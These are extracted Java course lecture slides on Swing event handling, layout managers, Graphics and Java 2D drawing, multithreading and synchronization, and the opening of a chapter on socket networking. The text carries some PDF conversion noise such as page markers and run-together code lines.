
Each event type has one or more corresponding event-listener interfaces.

For example, ActionEvents are handled by ActionListeners,

MouseEvents are handled by MouseListeners and MouseMotionListeners,

and KeyEvents are handled by KeyListeners. 23

Page 89: Taner Erkan Java 2 lecture Ders notları

Example

KeyListener – is listener that used to control

key actions.

KeyListener have three methods to

implement:

void keyPressed(KeyEvent e)

void keyReleased(KetEvent e)

void keyTyped(KeyEvent e)

Check example of program KeyTest

24

Page 90: Taner Erkan Java 2 lecture Ders notları

Active elements

In swing library there exist many useful class that are responsible for different active elements, such as:

JButton – simple button that can have icon

JToggleButton – button that maintain state

JCheckBox – tick button (multiple selection)

JRadioButton - selection choices (single selection)

JComboBox – drop-down list

JList – Single or multiple selectable list of choices.

Most of them you will need to learn yourself.25

Page 91: Taner Erkan Java 2 lecture Ders notları

Accessing the this Reference in an Object of a Top-Level

Class From an Inner Class

If you use inner classes to realize event-

handlers, sometimes it is useful to have

reference to top-level class.

For example to access private fields of top-

level class.

It can be done by writing name of top-level

class before this operator.

TopClass.this

26

Page 92: Taner Erkan Java 2 lecture Ders notları

JComboBox and Using an Anonymous Inner

Class for Event Handling

A combo box (sometimes called a drop-down list) provides a list of items from which the user can make a single selection.

Combo boxes are implemented with class JComboBox, which extends class JComponent.

JComboBoxes generate ItemEvents like JCheckBoxes and JRadioButtons.

This example also demonstrates a special form of inner class that is used frequently in event handling.

27

Page 93: Taner Erkan Java 2 lecture Ders notları

Anonymous Inner class1. imagesJComboBox = new JComboBox( names ); // set up JComboBox

2. imagesJComboBox.addItemListener(

3. new ItemListener() // anonymous inner class

4. {

5. public void itemStateChanged( ItemEvent event ) {

6. // determine whether checkbox selected

7. if ( event.getStateChange() == ItemEvent.SELECTED )

8. label.setIcon( icons[imagesJComboBox.getSelectedIndex() ] );

9. } // end method itemStateChanged

10. } // end anonymous inner class

11. ); // end call to addItemListener

28

Page 94: Taner Erkan Java 2 lecture Ders notları

Combo box (drop down list)

29

Page 95: Taner Erkan Java 2 lecture Ders notları

Mouse Event Handling

This section presents the MouseListener and

MouseMotionListener event-listener interfaces for

handling mouse events.

Mouse events can be trapped for any GUI component

that derives from java.awt.Component.

The MouseListener and MouseMotionListener

methods are called when the mouse interacts with a

Component if appropriate event-listener objects are

registered for that Component.

30

Page 96: Taner Erkan Java 2 lecture Ders notları
Page 97: Taner Erkan Java 2 lecture Ders notları

Adapter Classes Many event-listener interfaces, such as MouseListener and

MouseMotionListener, contain multiple methods. It is not

always desirable to declare every method in an event-listener

interface.

Interface WindowListener specifies seven window event-

handling methods.

For many of the listener interfaces that have multiple

methods, packages java.awt.event and javax.swing.event

provide event-listener adapter classes.

An adapter class implements an interface and provides a

default implementation of each method in the interface.

You can extend an adapter class to inherit the default

implementation of every method and subsequently override

only the method(s) you need for event handling.32

Page 98: Taner Erkan Java 2 lecture Ders notları

Event-adapter classes and the interfaces they implement in

package java.awt.event.

33

Page 99: Taner Erkan Java 2 lecture Ders notları

JPanel Subclass for Drawing

In this section, we use a JPanel as a dedicated drawing area in which the user can draw.

If you remember JPanel is just a container, that can contain different visible elements.

In this section will use JPanel to draw our own pictures or different graphics on this panel.

34

Page 100: Taner Erkan Java 2 lecture Ders notları

Method paintComponent Lightweight Swing components that extend

class JComponent (such as JPanel) contain

method paintComponent, which is called when a

lightweight Swing component is displayed.

By overriding this method, you can specify how

to draw shapes using Java's graphics capabilities.

When customizing a JPanel for use as a dedicated

drawing area, the subclass should override

method paintComponent and call the

superclass version of paintComponent as the

first statement in the body of the overridden

method to ensure that the component displays

correctly. 35

Page 101: Taner Erkan Java 2 lecture Ders notları

super.paintComponent(g)

The reason for this is that subclasses of JComponent

support transparency.

To display a component correctly, the program must

determine whether the component is transparent.

The code that determines this is in superclass

JComponent's paintComponent implementation.

If the superclass version of paintComponent is not called,

an opaque GUI component typically will not display

correctly on the user interface.

Also, if the superclass version is called after performing

the customized drawing statements, the results typically

will be erased.36

Page 102: Taner Erkan Java 2 lecture Ders notları

How to draw on panel

1. public class MyPanel extends JPanel{

2. public void paintComponent( Graphics g ) {

3. super.paintComponent( g ); // call superclass's method

4. this.setBackground( Color.WHITE );

5. // set new drawing color using integers

6. g.setColor( new Color( 255, 0, 0 ) );

7. g.fillRect( 15, 25, 100, 20 );

8. g.drawString( "Current RGB: " + g.getColor(), 130, 40 );

9. }

10. }37

Page 103: Taner Erkan Java 2 lecture Ders notları

simple example1. protected void paintComponent(Graphics g){

2. g.setColor(new Color(156,205,0)); g.fillRect(100,100,200,200);

3. g.setColor(new Color(106,105,207));

4. int x[] = {100,200,300}; int y[] = {100,0,100};

5. g.fillPolygon(x,y,x.length);

6. g.setColor(Color.YELLOW);g.fillOval(180,30,40,40);

7. g.setColor(new Color(240,240,0));

8. g.fillArc(-50,-50,100,100,0,-90);

9. g.setColor(Color.RED);

10. g.setFont(new Font("Comic Sans MS",Font.BOLD,35));

11. g.drawString("Home, ",150,180);

12. g.setFont(new Font("Tahoma",Font.BOLD,25));

13. g.drawString("sweet home!",120,240); }38

Page 104: Taner Erkan Java 2 lecture Ders notları

Layout Managers

Layout managers are provided to arrange GUI

components in a container for presentation purposes.

Programmers can use the layout managers for basic

layout capabilities instead of determining the exact

position and size of every GUI component. This

functionality enables the programmer to concentrate

on the basic look-and-feel and lets the layout

managers process most of the layout details.

All layout managers implement the interface

LayoutManager (in package java.awt).

Class Container's setLayout method takes an object

that implements the LayoutManager interface as an

argument. 39

Page 105: Taner Erkan Java 2 lecture Ders notları

There are basically three ways for you to

arrange components in a GUI: 1. Absolute positioning: By setting a Container's layout to

null, you can specify the absolute position of each GUI component with respect to the upper-left corner of the Container. If you do this, you also must specify each GUI component's size. You can use method

setBounds(x,y,width,heigth) to define size and location of any GUI Component.

2. Layout managers: Using layout managers to position elements can be simpler and faster than creating a GUI with absolute positioning, but you lose some control over the size and the precise positioning of GUI components.

3. Visual programming in an IDE: IDEs provide tools that make it easy to create GUIs. Each IDE typically provides a GUIdesign tool that allows you to drag and drop GUI components from a tool box onto a design area.You can then position, sizeand align GUI components as you like. Example of such IDE is Netbeans.40

Page 106: Taner Erkan Java 2 lecture Ders notları

Layout managers

41

Page 107: Taner Erkan Java 2 lecture Ders notları

FlowLayout

FlowLayout is the simplest layout manager. GUI components are placed on a container from left to right in the order in which they are added to the container.

When the edge of the container is reached, components continue to display on the next line.

Class FlowLayout allows GUI components to be left aligned, centered(the default) and right aligned.

42

Page 108: Taner Erkan Java 2 lecture Ders notları

BorderLayout The BorderLayout layout manager (the default

layout manager for a JFrame) arranges components

into five regions: NORTH, SOUTH, EAST,

WEST and CENTER. NORTH corresponds to the

top of the container.

Class BorderLayout extends Object and

implements interface LayoutManager2 (a

subinterface of LayoutManager that adds several

methods for enhanced layout processing).

A BorderLayout limits a Container to containing

at most five components one in each region. The

component placed in each region can be a

container to which other components are

attached.43

Page 109: Taner Erkan Java 2 lecture Ders notları

GridLayout

The GridLayout layout manager divides the

container into a grid so that components can be

placed in rows and columns.

Class GridLayout inherits directly from class

Object and implements interface LayoutManager.

Every Component in a GridLayout has the

same width and height.

Components are added to a GridLayout

starting at the top-left cell of the grid and

proceeding left to right until the row is full. Then

the process continues left to right on the next

row of the grid, and so on.44

Page 110: Taner Erkan Java 2 lecture Ders notları

Using Panels to Manage More

Complex Layouts

Complex GUIs require that each component be placed in an exact location. They often consist of multiple panels, with each panel's components arranged in a specific layout.

Class JPanel extends JComponent and JComponent extends class Container, so every JPanel is a Container.

Thus, every JPanel may have components, including other panels, attached to it with Container method add.

45

Page 111: Taner Erkan Java 2 lecture Ders notları

JPanel with five JButtons in a GridLayout attached to the

SOUTH region of a BorderLayout

46

Page 112: Taner Erkan Java 2 lecture Ders notları

THANK YOU

THE END

Page 113: Taner Erkan Java 2 lecture Ders notları

Lecture 4Chapter 12

Book: Java™ How to Program, Sixth Edition

By H. M. Deitel - Deitel & Associates, Inc.,

P. J. Deitel - Deitel & Associates, Inc.

• Andrey Bogdanchikov

By:

Page 114: Taner Erkan Java 2 lecture Ders notları

12 – Graphics and Java 2D™

Introduction

Graphics Contexts and Graphics Objects

Color Control

Font Control

Drawing Lines, Rectangles and Ovals

Drawing Arcs

Drawing Polygons and Polylines

Java 2D API

2

Page 115: Taner Erkan Java 2 lecture Ders notları

Introduction

In this chapter, we overview several of Java's capabilities for drawing two-dimensional shapes, controlling colors and controlling fonts.

One of Java's initial appeals was its support for graphics that enabled programmers to visually enhance their applications.

Java now contains many more sophisticated drawing capabilities as part of the Java 2D™ API.

3

Page 116: Taner Erkan Java 2 lecture Ders notları

JPanel Subclass for Drawing with

the Mouse

In this section, we use a JPanel as a

dedicated drawing area in which the

user can draw by dragging the mouse.

In addition, this section

demonstrates an event listener that

extends an adapter class.

4

Page 117: Taner Erkan Java 2 lecture Ders notları

Panel10 public class PaintPanel extends JPanel {

11 private int pointCount = 0 ; // count number of points

12 private Point points[] = new Point[ 10000 ];

15 public PaintPanel() {

20 addMouseMotionListener( new MouseMotionAdapter()

23 { // store drag coordinates and repaint

25 public void mouseDragged( MouseEvent event )

26 { … } // end method mouseDragged

34 } );// end anonymous inner class

35 } // end PaintPanel constructor

39 public void paintComponent( Graphics g ) {

41 super.paintComponent( g ); // clears drawing area

43 // draw all points in array

44 for ( int i = 0 ; i < pointCount; i++ )

45 g.fillOval( points[ i ].x, points[ i ].y, 4, 4 );

46 } // end method paintComponent

47 } // end class PaintPanel5

Page 118: Taner Erkan Java 2 lecture Ders notları

Main

7 public class Painter {

9 public static void main( String args[] ) {

12 JFrame application = new JFrame( "A simple paint program" );

14 PaintPanel paintPanel = new PaintPanel(); // create paint panel

15 application.add( paintPanel, BorderLayout.CENTER );

17 // create a label and place it in SOUTH of BorderLayout

18 application.add( new JLabel( "Drag the mouse to draw" ),

19 BorderLayout.SOUTH );

21 application.setDefaultCloseOperation( JFrame.EXIT_ON_CLOSE );

22 application.setSize( 400, 200 ); // set frame size

23 application.setVisible( true ); // display frame

24 } // end main

25 } // end class Painter

6

Page 119: Taner Erkan Java 2 lecture Ders notları

Useful classes Class Color contains methods and constants for

manipulating colors.

Class JComponent contains method

paintComponent, which will be used to draw graphics

on a component.

Class Font contains methods and constants for

manipulating fonts.

Class FontMetrics contains methods for obtaining font

information.

Class Graphics contains methods for drawing strings,

lines, rectangles and other shapes.

Class Graphics2D, which extends class Graphics, is used

for drawing with the Java 2D API.

Class Polygon contains methods for creating polygons. 7

Page 120: Taner Erkan Java 2 lecture Ders notları

by:Andrey Bogdanchikov 8

Coordinate system To begin drawing in

Java, we must first understand Java's coordinate system, which is a scheme for identifying every point on the screen.

By default, the upper-left corner of a GUI component (e.g., a window) has the coordinates (0, 0)

The coordinates are used to indicate where graphics should be displayed on a screen. Coordinate units are measured in pixels

8

Page 121: Taner Erkan Java 2 lecture Ders notları

by:Andrey Bogdanchikov 9

Graphics Contexts and Graphics

Objects A Java graphics context enables drawing on

the screen. A Graphics object manages a graphics context

and draws pixels on the screen that represent text and other graphical object (e.g., lines, ellipses, rectangles and other polygons).

Class Graphics is an abstract class (i.e.,Graphics objects cannot be instantiated). This contributes to Java's portability.

Because drawing is performed differently on every platform that supports Java, there cannot be just one implementation of the drawing capabilities on all systems

9

Page 122: Taner Erkan Java 2 lecture Ders notları

by:Andrey Bogdanchikov 10

Graphical abilities of JComponent

Class JComponent, which inherits indirectly from class Component, contains a paintComponent method that can be used to draw graphics.

The header for the paintComponent method is

public void paintComponent( Graphics g )

When a GUI application executes, the application container calls method paintComponent for each lightweight component as the GUI is displayed.

For paintComponent to be called again, an event must occur (such as covering and uncovering the componentwith another window).

Call repaint method to redraw component manually.

10

Page 123: Taner Erkan Java 2 lecture Ders notları

by:Andrey Bogdanchikov 11

Color Control

Class Color declares methods and constants for manipulating colors in a Java program.

In next figure you can see possible predeclared colors, that you can use in draw.

Also you can define your own colorsby defining RGB values.

11

Page 124: Taner Erkan Java 2 lecture Ders notları

by:Andrey Bogdanchikov 12

Color constants and their RGB values

12

Page 125: Taner Erkan Java 2 lecture Ders notları

by:Andrey Bogdanchikov 13

Color methods and color-related

Graphics methods. Color constructors and methods public Color( int r, int g, int b )

public Color( float r, float g, float b )

public int getRed()

public int getGreen()

public int getBlue()

Graphics methods for manipulating Colors public Color getColor()

public void setColor( Color c )

13

Page 126: Taner Erkan Java 2 lecture Ders notları

by:Andrey Bogdanchikov 14

Example

1. public void paintComponent( Graphics g )

2. {

3. super.paintComponent( g ); // call superclass's method

4.

5. this.setBackground( Color.WHITE );

6. // set new drawing color using integers

7. g.setColor( new Color( 255, 0, 0 ) );

8. g.fillRect( 15, 25, 100, 20 );

9. g.drawString( "Current RGB: " + g.getColor(), 130, 40 );

10. }

14

Page 127: Taner Erkan Java 2 lecture Ders notları

by:Andrey Bogdanchikov 15

Font Control

This section introduces methods and

constants for font control.

Most font methods and font constants

are part of class Font.

Some methods of class Font and class

Graphics are summarized in next

slide.

15

Page 128: Taner Erkan Java 2 lecture Ders notları

by:Andrey Bogdanchikov 16

Font-related methods and constants Font constants, constructors and methods public final static int PLAIN

public final static int BOLD

public final static int ITALIC

public Font( String name, int style, int size )

public int getStyle()

public int getSize()

public String getName()

public String getFamily()

public boolean isPlain()

public boolean isBold()

public boolean isItalic()

Graphics methods for manipulating Fonts public Font getFont()

public void setFont( Font f )16

Page 129: Taner Erkan Java 2 lecture Ders notları

by:Andrey Bogdanchikov 17

examplepublic void paintComponent( Graphics g ){

super.paintComponent( g ); // call superclass's paintConponent

// set font to Serif (Times), bold, 12pt and draw a stringg.setFont( new Font( "Serif", Font.BOLD, 12 ) );g.drawString( "Serif 12 point bold.", 20, 50 );

// set font to Monospaced (Courier), italic, 24pt and draw a stringg.setFont( new Font( "Monospaced", Font.ITALIC, 24 ) );g.drawString( "Monospaced 24 point italic.", 20, 70 );

// set font to SansSerif (Helvetica), plain, 14pt and draw a stringg.setFont( new Font( "SansSerif", Font.PLAIN, 14 ) );g.drawString( "SansSerif 14 point plain.", 20, 90 );

} // end method paintComponent17

Page 130: Taner Erkan Java 2 lecture Ders notları

by:Andrey Bogdanchikov 18

Draw functions

To draw different figures you can use predefined methods of Graphics. Such as:

drawLine, drawRect, drawArc, drawOval, drawPolygon, etc.

Or to fill this figures with some color you can set this color by method setColor and use other methods:

fillRect, fillArc, fillOval, fillPolygon, etc. To output text use method drawString. As tutorial for this you can refer to next

example.

18

Page 131: Taner Erkan Java 2 lecture Ders notları

by:Andrey Bogdanchikov 19

Another simple example

protected void paintComponent(Graphics g){

g.setColor(new Color(156,205,0));

g.fillRect(100,100,200,200);

g.setColor(new Color(106,105,207));

int x[] = {100,200,300};

int y[] = {100,0,100};

g.fillPolygon(x,y,x.length);

g.setColor(Color.YELLOW);

g.fillOval(180,30,40,40);

g.setColor(new Color(240,240,0));

g.fillArc(-50,-50,100,100,0,-90);

g.setColor(Color.RED);

g.setFont(new Font("Comic Sans MS",Font.BOLD,35));

g.drawString("Home, ",150,180);

g.setFont(new Font("Tahoma",Font.BOLD,25));

g.drawString("sweet home!",120,240);

}

19

Page 132: Taner Erkan Java 2 lecture Ders notları

by:Andrey Bogdanchikov 20

Java 2D API

The Java 2D API provides advanced two-dimensional

graphics capabilities for programmers who require

detailed and complex graphical manipulations.

The API includes features for processing line art, text and

images in packages java.awt, java.awt.image,

java.awt.color, java.awt.font, java.awt.geom,

java.awt.print and java.awt.image.renderable.

The capabilities of the API are far too broad to cover in

this textbook.

20

Page 133: Taner Erkan Java 2 lecture Ders notları

by:Andrey Bogdanchikov 21

Briefly

To access Graphics2D capabilities, we must cast the Graphics reference (g) passed to paintComponent into aGraphics2D reference with a statement such as

Graphics2D g2d = ( Graphics2D ) g; Examples:// draw 2D ellipse filled with a blue-yellow gradient

g2d.setPaint( new GradientPaint( 5, 30, Color.BLUE, 35, 100, 29 Color.YELLOW, true ) );

g2d.fill( new Ellipse2D.Double( 5, 30, 65, 100 ) );

21

Page 134: Taner Erkan Java 2 lecture Ders notları

by:Andrey Bogdanchikov 22

Example1. // draw 2D pie-shaped arc in white

2. g2d.setPaint( Color.WHITE );

3. g2d.setStroke( new BasicStroke( 6.0f ) );

4. g2d.draw( new Arc2D.Double( 240, 30, 75, 100, 0, 270, Arc2D.PIE ) );

5. // draw 2D lines in green and yellow

6. g2d.setPaint( Color.GREEN );

7. g2d.draw( new Line2D.Double( 395, 30, 320, 150 ) );

8. // draw 2D line using stroke

9. float dashes[] = { 10 }; // specify dash pattern

10. g2d.setPaint( Color.YELLOW );

11. g2d.setStroke( new BasicStroke( 4, BasicStroke.CAP_ROUND,

12. BasicStroke.JOIN_ROUND, 10, dashes, 0 ) );

13. g2d.draw( new Line2D.Double( 320, 30, 395, 150 ) ); 22

Page 135: Taner Erkan Java 2 lecture Ders notları

by:Andrey Bogdanchikov 23

View

23

Page 136: Taner Erkan Java 2 lecture Ders notları

THANK YOU

THE END

Page 137: Taner Erkan Java 2 lecture Ders notları

Java Threads

Page 138: Taner Erkan Java 2 lecture Ders notları
Page 139: Taner Erkan Java 2 lecture Ders notları
Page 140: Taner Erkan Java 2 lecture Ders notları
Page 141: Taner Erkan Java 2 lecture Ders notları
Page 142: Taner Erkan Java 2 lecture Ders notları
Page 143: Taner Erkan Java 2 lecture Ders notları
Page 144: Taner Erkan Java 2 lecture Ders notları
Page 145: Taner Erkan Java 2 lecture Ders notları
Page 146: Taner Erkan Java 2 lecture Ders notları
Page 147: Taner Erkan Java 2 lecture Ders notları
Page 148: Taner Erkan Java 2 lecture Ders notları
Page 149: Taner Erkan Java 2 lecture Ders notları
Page 150: Taner Erkan Java 2 lecture Ders notları
Page 151: Taner Erkan Java 2 lecture Ders notları
Page 152: Taner Erkan Java 2 lecture Ders notları
Page 153: Taner Erkan Java 2 lecture Ders notları
Page 154: Taner Erkan Java 2 lecture Ders notları
Page 155: Taner Erkan Java 2 lecture Ders notları
Page 156: Taner Erkan Java 2 lecture Ders notları
Page 157: Taner Erkan Java 2 lecture Ders notları
Page 158: Taner Erkan Java 2 lecture Ders notları
Page 159: Taner Erkan Java 2 lecture Ders notları
Page 160: Taner Erkan Java 2 lecture Ders notları
Page 161: Taner Erkan Java 2 lecture Ders notları
Page 162: Taner Erkan Java 2 lecture Ders notları
Page 163: Taner Erkan Java 2 lecture Ders notları
Page 164: Taner Erkan Java 2 lecture Ders notları
Page 165: Taner Erkan Java 2 lecture Ders notları
Page 166: Taner Erkan Java 2 lecture Ders notları
Page 167: Taner Erkan Java 2 lecture Ders notları

To be continued...

Page 168: Taner Erkan Java 2 lecture Ders notları

Lecture 6Chapter 23

Book: Java™ How to Program, Sixth Edition

By H. M. Deitel - Deitel & Associates, Inc.,

P. J. Deitel - Deitel & Associates, Inc.

• Andrey Bogdanchikov

By:

Page 169: Taner Erkan Java 2 lecture Ders notları

23 – Multithreading - 2

Synchronization

Race condition

Synchronized

Deadlock

Mutual Exclusion

Producer/Consumer problem

2

Page 170: Taner Erkan Java 2 lecture Ders notları

Race condition

A problem happening whenever:

Many threads can access the same resource

(generally an object's instance variables)

This can produce corrupted data if one thread

“races in” too quickly before an operation has

completed.

3

Page 171: Taner Erkan Java 2 lecture Ders notları

Example

To avoid corruption of shared data by multiple threads, you must learn how to synchronize the access.

In the next test program, we simulate a bank with a number of accounts. We randomly generate transactions that move money between these accounts. Each accounthas one thread. Each transaction moves a random amount of money from the account serviced by the thread to another random account.

4

Page 172: Taner Erkan Java 2 lecture Ders notları

Transfer method

1. public void transfer(int from, int to, double amount)

2. // CAUTION: unsafe when called from multiple threads

3. {

4. System.out.print(Thread.currentThread());

5. accounts[from] -= amount;

6. System.out.printf(" %10.2f from %d to %d", amount, from, to);

7. accounts[to] += amount;

8. System.out.printf(" Total Balance: %10.2f%n", getTotalBalance());

9. }

5

Page 173: Taner Erkan Java 2 lecture Ders notları

Here is the code for the

transferRunnable class1. class TransferRunnable implements Runnable {

2. . . .

3. public void run() {

4. try {

5. int toAccount = (int) (bank.size() * Math.random());

6. double amount = maxAmount * Math.random();

7. bank.transfer(fromAccount, toAccount, amount);

8. Thread.sleep((int) (DELAY * Math.random()));

9. } catch(InterruptedException e) {}

10. }

11. }

6

Page 174: Taner Erkan Java 2 lecture Ders notları

Result

When this simulation runs, we do not know how much money is in any one bank account at any time.

But we do know that the total amount of money in all the accounts should remainunchanged because all we do is move money from one account to another.

At the end of each transaction, the transfer method recomputes the total and prints it.

7

Page 175: Taner Erkan Java 2 lecture Ders notları

Preventing Race Conditions

We must guarantee that two bank operations

will NEVER come together.

It must be an atomic operation:

Completed before any other thread code that

acts on the same data

...regardless of the number of actual instructions

8

Page 176: Taner Erkan Java 2 lecture Ders notları

Preventing Race Conditions

You can't guarantee that a single thread will

stay running during the atomic operation

But even if the thread running atomic

operation moves in and out of the running

state, no other running thread will be able to

act on the same data

How to protect data:

Mark the variables private

Synchronize the code that modifies the variable9

Page 177: Taner Erkan Java 2 lecture Ders notları

Synchronization in Java

The modifier synchronized

can be applied to a method or a code block

locks a code block: ONLY ONE thread can accesspublic synchronized void transfer(…){...}

10

Page 178: Taner Erkan Java 2 lecture Ders notları

Synchronization and Locks

Every object in Java has built-in lock

Enter a synchronized non-static method => get the lock of

the current object code we're executing

If one thread got the lock, other threads have to wait to

enter the synchronized code until the lock has been

released(thread exits the synch.method)

Not all methods in a class need to be synchronized

Once a thread gets the lock on an object, no other thread

can enter ANY of the synchronized methods in that

class(for that object)

11

Page 179: Taner Erkan Java 2 lecture Ders notları

Synchronization and Locks

Multiple threads can still access the class's non-

synchronized methods

Methods that don't access the data to be protected,

don't need to be synchronized

The thread going to sleep doesn't release locks

A thread can acquire more than one lock:

A thread can enter a synchronized method

Then immediately invoke a synchronized method on

another object

12

Page 180: Taner Erkan Java 2 lecture Ders notları

Synchronize a code block

Is equivalent to this:

public synchronized void doSmth(){System.out.println(“synchronized”);

}

public void doSmth(){synchronized(this){

System.out.println(“synchronized”);} }

13

Page 181: Taner Erkan Java 2 lecture Ders notları

Synchronize a static method

Is equivalent to this:

class SomeClass{public static synchronized int someMethod(){

System.out.println(“static synchronized”);}

}

class SomeClass{public static int someMethod(){

synchronized(SomeClass.class){System.out.println(“static synchronized”);

}}

}

14

Page 182: Taner Erkan Java 2 lecture Ders notları

When Do I Need To Synchronize?

Two threads executing the same method at the same time may:

use different copies of local vars => no problem

access fields that contain shared data

To make a thread-safe class:

methods that access changeable fields need to be synchronized.

Access to static fields should be done from static synchronized methods.

Access to non-static fields should be done from non-static synchronized methods15

Page 183: Taner Erkan Java 2 lecture Ders notları

Deadlock

Deadlock occurs when

two threads are blocked,

with each waiting for the

other's lock.

=> Neither can run until

the other gives up its

lock, so they wait forever

It is hard to debug code to

avoid deadlock

16

Page 184: Taner Erkan Java 2 lecture Ders notları

Thread Deadlock

public class DeadlockRisk {private static class Resource { public int value; } }

private Resource resourceA = new Resource();private Resource resourceB = new Resource();

public int read() { synchronized(resourceA) { // May deadlock here !

synchronized(resourceB) {return resourceB.value + resourceA.value;

}}} public void write(int a, int b) {synchronized(resourceB) { // May deadlock here !

synchronized(resourceA) {resourceA.value = a;resourceB.value = b;

}}}}• The reader thread will have resourceA,• the writer thread will have resourceB,•... and both will get stuck waiting for the other !!!

17

Page 185: Taner Erkan Java 2 lecture Ders notları

Synchronization in Object class

void wait()

Causes current thread to wait until another thread invokes the notify() method or the notifyAll() method for this object.

void notify()

Wakes up a single thread that is waiting on this object's lock.

void notifyAll()

Wakes up all threads that are waiting on this object's lock.

18

Page 186: Taner Erkan Java 2 lecture Ders notları

Wait

The wait() method lets a thread say:

“There's nothing for me to do now, so put me in your waiting pool and notify me when something happens that I care about.”

An object lock can be signaled or nonsignaled

When calling wait() :

On a signaled object lock thread keeps executing

On a nonsignaled object lock thread is suspended

19

Page 187: Taner Erkan Java 2 lecture Ders notları

Notify & NotifyAll

The notify() method send a signal to one of

the threads that are waiting in the same

object's waiting pool.

The notify() method CANNOT specify which

waiting thread to notify

The method notifyAll() is similar but only it

sends the signal to all of the threads waiting

on the object.

20

Page 188: Taner Erkan Java 2 lecture Ders notları

Mutual Exclusion

A thread invokes wait() or notify() on a particular object, and the thread mustcurrently hold the lock on that object

Called from within a synchronized context

A thread owns in mutual exclusion a critical region when he has called wait() and it has not released the object yet (calling notify)

A critical region is nonsignaled when is owned by a thread, signaled otherwise.

21

Page 189: Taner Erkan Java 2 lecture Ders notları

Producer / Consumer Problem

In this problem we have limited cyclic buffer

(when reached end of the buffer starts from

beginning) to write and read data.

We have threads that produce DATA and

writes to the buffer.

And we have threads that consumes DATA

from the buffer.

How to realize this problem that Consumers

and Producers will work in cooperation with

each other.22

Page 190: Taner Erkan Java 2 lecture Ders notları

Producer/Consumer Relationship

without Synchronization1. class Main{

2. public static void write(char s){ // method that uses Producer

3. if(producerCursor>=buffer.length) producerCursor = 0;

4. buffer[producerCursor++] = s;

5. }

6. public static char read(){ // method that uses Consumer

7. if(consumerCursor==buffer.length) consumerCursor = 0;

8. char res = buffer[consumerCursor];

9. buffer[consumerCursor++] = 'E';

10. return res;

11. }

12. }

23

Page 191: Taner Erkan Java 2 lecture Ders notları

Producer/Consumer Relationship

with Synchronization public static Lock myLock = new ReentrantLock();

public static Condition canWrite = myLock.newCondition();

public static Condition canRead = myLock.newCondition();

public static void write(char s){

myLock.lock(); // acquire the lock on object

try{ if(producerCursor==buffer.length) producerCursor=0;

while(buffer[producerCursor]!='E')

canWrite.await(); // send this thread to wait state

buffer[producerCursor++] = s;

canRead.signal(); // return thread that is waiting for condition

}catch(InterruptedException e){

}finally{ myLock.unlock(); } // release lock on object

}

24

Page 192: Taner Erkan Java 2 lecture Ders notları

Threads Are Hard

Synchronization:

Must coordinate access to shared data with locks.

Forget a lock? Corrupted data.

Deadlock:

Circular dependencies among locks.

Each process waits for some other process

system hangs.

25

Page 193: Taner Erkan Java 2 lecture Ders notları

THANK YOU

THE END

Page 194: Taner Erkan Java 2 lecture Ders notları

Lecture 7Chapter 24

Book: Java™ How to Program, Sixth Edition

By H. M. Deitel - Deitel & Associates, Inc.,

P. J. Deitel - Deitel & Associates, Inc.

• Andrey Bogdanchikov

By:

Page 195: Taner Erkan Java 2 lecture Ders notları

24 – Networking

Introduction

Network

TCP and UDP

Simple TCP client

Simple TCP server

Multi-client Server

UDP – User Datagram Protocol

UDP Client and Server

2

Page 196: Taner Erkan Java 2 lecture Ders notları

Introduction

Networking is a massive and complex topic.

Computer science and computer

engineering students will typically take a

full-semester, upper-level course in

computer networking and continue with

further study at the graduate level.

Java is often used as an implementation

vehicle in computer networking courses.

3

Page 197: Taner Erkan Java 2 lecture Ders notları

NetworkNetwork — (WWW, Intranet, LAN, WAN, ...)‏

Package java.net offers:

Stream-based communication(view network as stream of data)‏

Packet-based communication(packets of informations like audio, video...)‏

We will discuss client-server relationship:

Client requests some action to be performed

Server performs the action and responds to the client.

4

Page 198: Taner Erkan Java 2 lecture Ders notları

5

Page 199: Taner Erkan Java 2 lecture Ders notları

TCP and UDP

We will introduce Java's socket-based communications:

The socket represents one endpoint of a connection

Stream sockets establishes a connection to another process and data flows between the processes in continuous streams.

It uses popular TCP(Transmission Control Protocol)‏

With datagram sockets individual packets of information are transmitted.

It uses UDP(User Datagram Protocol).

UDP doesn't guarantee that packets arrive in any particular order, therefore it is less used than TCP.

6

Page 200: Taner Erkan Java 2 lecture Ders notları

URLConnection class Once you have URL object, you can call its

openConnection() method to set up a connection:

URL url = new URL(“http://192.168.0.8/~askar/api/index.html”);

URLConnection conn = url.openConnection();

InputStream in = conn.getInputStream();

You can read from InputStream using any stream-reading class.

Another instance method of URLConnection class is getContentType() method.

It returns String of mime(multipurpose internet mail extensions) type(“text/plain”, “text/html”, “image/jpeg”,”image/gif ”,..).

Mime types specify types of information in a file or other resource.7

Page 201: Taner Erkan Java 2 lecture Ders notları

TCP/IP and Client-Server

TCP (Transmission Control Protocol) — protocol that provides reliable two-way communication through network.

For two programs to communicate, each program must create socket. Once connection is made, communication takes place using input streams and output streams.

When program creates socket, it waits until another program makes a connection and it is called listening socket. When it receives the connection request it responses and connection is established. After all, both sockets must be closed.

8

Page 202: Taner Erkan Java 2 lecture Ders notları

TCP/IP and Client-Server

Program that creates socket is called server and socket is server socket(ServerSocket class)‏

Program that connects is called client and socket is client socket(Socket class)‏

IP address identifies unique address of a computer throughout the net. It can be accessed through domain name — ex. www.google.kz, or in following way — ex. 192.168.0.8

To communicate, program uses port number with ip address. Generally it is 16-bit integer and reserved port numbers are less than 1024.

9

Page 203: Taner Erkan Java 2 lecture Ders notları

Server, IP address, port examples

10

Page 204: Taner Erkan Java 2 lecture Ders notları

Connecting to a Server

You may have used telnet to connect to a remote computer, but you can use it to communicate with other services provided by Internet hosts as well. Here is an example of what you can do. Type

1. telnet sdu.edu.kz 80

And you will connect to apache server that hosts our university’s site.

2. Type the following, exactly as it appears, without pressing backspace. Note that there are spaces around the first slash but not the second.

3. GET / HTTP/1.0

4. Now, press the ENTER key two times.

This will return default welcome page of that server

11

Page 205: Taner Erkan Java 2 lecture Ders notları

Create SocketTestOur first network program will do the same thing we did using telnet connect to

a port and print out what it finds.

try{

Socket s = new Socket("192.168.0.8", 80);

try{

OutputStream outStream = s.getOutputStream();

PrintWriter out = new PrintWriter(outStream);

out.println("GET / HTTP/1.0\n"); //send request

InputStream inStream = s.getInputStream();

Scanner in = new Scanner(inStream);

while (in.hasNextLine())

{ String line = in.nextLine(); //receive data

System.out.println(line);

}

}finally{ s.close();}}catch (IOException e){e.printStackTrace();}12

Page 206: Taner Erkan Java 2 lecture Ders notları

Implementing Servers

Now that we have implemented a basic network client that receives data from the Internet, let's implement a simple server that can send information to clients.

